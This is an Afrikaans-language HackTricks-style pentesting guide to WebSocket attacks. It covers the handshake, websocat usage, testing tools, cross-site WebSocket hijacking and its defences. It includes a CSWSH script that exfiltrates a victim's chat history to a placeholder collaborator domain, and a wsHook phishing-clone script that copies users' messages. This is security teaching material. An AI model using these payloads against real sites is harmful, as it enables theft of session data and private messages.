# WebSocket Aanvalle

{{#include ../banners/hacktricks-training.md}}

## Wat is WebSockets

WebSocket verbindings word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.

### Vestiging van WebSocket Verbindings

'n Gedetailleerde verduideliking oor die vestiging van WebSocket verbindings kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket verbindings word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
Die `wss` protokol dui 'n WebSocket-verbinding aan wat met **TLS** beveilig is, terwyl `ws` 'n **onbeveiligde** verbinding aandui.

Tydens die verbindingsevaluering word 'n handdruk tussen die blaaier en bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaier 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:

Blaaier stuur 'n handdrukversoek:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Die bediener se handdrukrespons:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Die verbinding bly oop vir boodskapswisseling in beide rigtings sodra dit gevestig is.

**Belangrike Punten van die WebSocket Handshake:**

- Die `Connection` en `Upgrade` headers dui die begin van 'n WebSocket handshake aan.
- Die `Sec-WebSocket-Version` header dui die verlangde WebSocket protokol weergawe aan, gewoonlik `13`.
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` header gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
- Die `Sec-WebSocket-Accept` header in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket verbinding te open, verifieer.

Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regstreekse kommunikasie.

### Linux console

Jy kan `websocat` gebruik om 'n rou verbinding met 'n websocket te vestig.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Of om 'n websocat-bediener te skep:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket verbindings

As jy vind dat kliënte aan 'n **HTTP websocket** van jou huidige plaaslike netwerk gekoppel is, kan jy 'n [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)probeer om 'n MitM-aanval tussen die kliënt en die bediener uit te voer.\
Sodra die kliënt probeer om te verbind, kan jy dan gebruik maak van:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets opsporing

Jy kan die **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **gebruik om bekend** **kwesbaarhede** in websockets outomaties te ontdek, te vingerafdruk en te soek.

### Websocket Ontwikkelhulpmiddels

- **Burp Suite** ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as wat dit vir gewone HTTP kommunikasie doen.
- Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite uitbreiding** sal jou toelaat om beter Websocket kommunikasies in Burp te bestuur deur die **geskiedenis** te verkry, **afskakelreëls** in te stel, **ooreenkoms en vervang** reëls te gebruik, **Intruder** en **AutoRepeater** te gebruik.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kort vir "**WebSocket/Socket.io Proxy**", hierdie tool, geskryf in Node.js, bied 'n gebruikerskoppelvlak om **te vang, af te skakel, pasgemaakte** boodskappe te stuur en al WebSocket en Socket.IO kommunikasies tussen die kliënt en bediener te sien.
- [**wsrepl**](https://github.com/doyensec/wsrepl) is 'n **interaktiewe websocket REPL** wat spesifiek vir penetrasietoetsing ontwerp is. Dit bied 'n koppelvlak om **inkomende websocket boodskappe te observeer en nuwe te stuur**, met 'n maklik-om-te-gebruik raamwerk vir **outomatisering** van hierdie kommunikasie.
- [**https://websocketking.com/**](https://websocketking.com/) dit is 'n **web om te kommunikeer** met ander webs deur middel van **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) onder andere tipes kommunikasies/protokolle, bied dit 'n **web om te kommunikeer** met ander webs deur middel van **websockets.**

## Ontsleuteling van Websocket

- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)

## Websocket Laboratorium

In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) het jy 'n kode om 'n web te begin met websockets en in [**hierdie pos**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) kan jy 'n verduideliking vind.

## Websocket Fuzzing

Die burp uitbreiding [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) laat nou ook toe om WebSocket boodskappe te fuzz. Jy kan meer inligting hieroor lees [**hier**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).

## Cross-site WebSocket kaping (CSWSH)

**Cross-site WebSocket kaping**, ook bekend as **cross-origin WebSocket kaping**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket handdrukke beïnvloed. Hierdie kwesbaarheid ontstaan wanneer WebSocket handdrukke slegs via **HTTP koekies** outentiseer sonder **CSRF tokens** of soortgelyke sekuriteitsmaatreëls.

Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cross-site WebSocket verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing beskou, wat die gebrek aan CSRF beskerming in die sessie hanteringsmeganisme benut.

Om hierdie aanval te laat werk, is die vereistes:

- Die websocket **outentisering moet koekie-gebaseerd wees**
- Die koekie moet vanaf die aanvaller se bediener toeganklik wees (dit beteken gewoonlik **`SameSite=None`**) en geen **Firefox Total Cookie Protection** geaktiveer in Firefox en geen **geblokkeerde derdeparty koekies** in Chrome.
- Die websocket bediener moet nie die oorsprong van die verbinding nagaan nie (of dit moet omseilbaar wees)

Ook:

- As die outentisering gebaseer is op 'n plaaslike verbinding (na localhost of na 'n plaaslike netwerk) sal die aanval **moontlik wees** aangesien geen huidige beskerming dit verbied nie (kyk [meer inligting hier](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))

### Eenvoudige Aanval

Let daarop dat wanneer 'n **websocket** verbinding **gestig** word, die **koekie** na die bediener **gestuur** word. Die **bediener** mag dit gebruik om elke **spesifieke** **gebruiker** met sy **websocket** **sessie gebaseer op die gestuurde koekie** te **verbind**.

Dan, as die **websocket** **bediener** die **geskiedenis van die gesprek** van 'n gebruiker terugstuur as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te autoriseer) wat "**READY**" stuur in staat wees om die **geskiedenis** van die **gesprek** te **herwin**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain

In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Oorsprong behoorlik nagegaan het nie**, was dit moontlik om met dit te kommunikeer en **tokens daarvan te steel**.

### Stealing data from user

Kopieer die webtoepassing wat jy wil naboots (die .html lêers byvoorbeeld) en voeg hierdie kode by die skrip waar die websocket kommunikasie plaasvind:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
```
Laai nou die `wsHook.js` lêer af van [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die gids met die web lêers**.\
Deur die webtoepassing bloot te stel en 'n gebruiker te laat aansluit, sal jy in staat wees om die gestuurde en ontvangde boodskappe via websocket te steel:
```javascript
sudo python3 -m http.server 80
```
### CSWSH Beskerming

Die CSWSH-aanval is gebaseer op die feit dat 'n **gebruiker sal aansluit by 'n kwaadwillige bladsy** wat 'n **websocket-verbinding** sal oopmaak na 'n webblad waar die gebruiker reeds verbind is en as hom sal autentiseer, aangesien die versoek die gebruiker se koekies sal stuur.

Tans is dit baie maklik om hierdie probleem te voorkom:

- **Websocket-bediener wat die oorsprong nagaan**: Die websocket-bediener moet altyd nagaan van waar 'n gebruiker aansluit om te voorkom dat onverwagte bladsye met dit verbind.
- **Autentikasie-token**: In plaas daarvan om die autentikasie op 'n koekie te baseer, kan die websocket-verbinding gebaseer wees op 'n token wat deur die bediener vir die gebruiker gegenereer word wat onbekend is aan die aanvaller (soos 'n anti-CSRF-token).
- **SameSite Koekie-attribuut**: Koekies met `SameSite` waarde as `Lax` of `Strict` sal nie van 'n eksterne aanvallersbladsy na die slagofferbediener gestuur word nie, daarom sal koekie-gebaseerde autentikasie nie suksesvol wees nie. Let daarop dat Chrome nou die waarde **`Lax`** aan die koekies toeken wat sonder hierdie vlag gespesifiseer is, wat dit meer veilig maak per standaard. Alhoewel, die eerste 2 minute nadat 'n koekie geskep is, sal dit die waarde **`None`** hê, wat dit kwesbaar maak gedurende daardie beperkte tydperk (ook word verwag dat hierdie maatregel op 'n stadium verwyder sal word).
- **Firefox Totale Koekiebeskerming**: Totale Koekiebeskerming werk deur koekies te isoleer na die webwerf waarop hulle geskep is. Essensieel het elke webwerf sy eie koekie-opbergingsafdeling om te voorkom dat derde partye 'n gebruiker se blaai-geskiedenis saamvoeg. Dit maak **CSWSH onbruikbaar** aangesien die aanvallersbladsy nie toegang tot die koekies sal hê nie.
- **Chrome derdeparty-koekies blok**: Dit kan ook voorkom dat die koekie van die geverifieerde gebruiker na die websocket-bediener gestuur word, selfs met `SameSite=None`.

## Wedlooptoestande

Wedlooptoestande in WebSockets is ook 'n werklikheid, [kyk hierdie inligting om meer te leer](race-condition.md#rc-in-websockets).

## Ander kwesbaarhede

Aangesien Web Sockets 'n meganisme is om **data na die bediener- en kliëntkant te stuur**, afhangende van hoe die bediener en kliënt die inligting hanteer, **kan Web Sockets gebruik word om verskeie ander kwesbaarhede soos XSS, SQLi of enige ander algemene web kwesbaarheid te benut deur die invoer van 'n gebruiker vanaf 'n websocket.**

## **WebSocket Smuggling**

Hierdie kwesbaarheid kan jou toelaat om **terugproxies se beperkings te omseil** deur hulle te laat glo dat 'n **websocketkommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting, kyk die volgende bladsy:


{{#ref}}
h2c-smuggling.md
{{#endref}}

## Verwysings

- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)

{{#include ../banners/hacktricks-training.md}}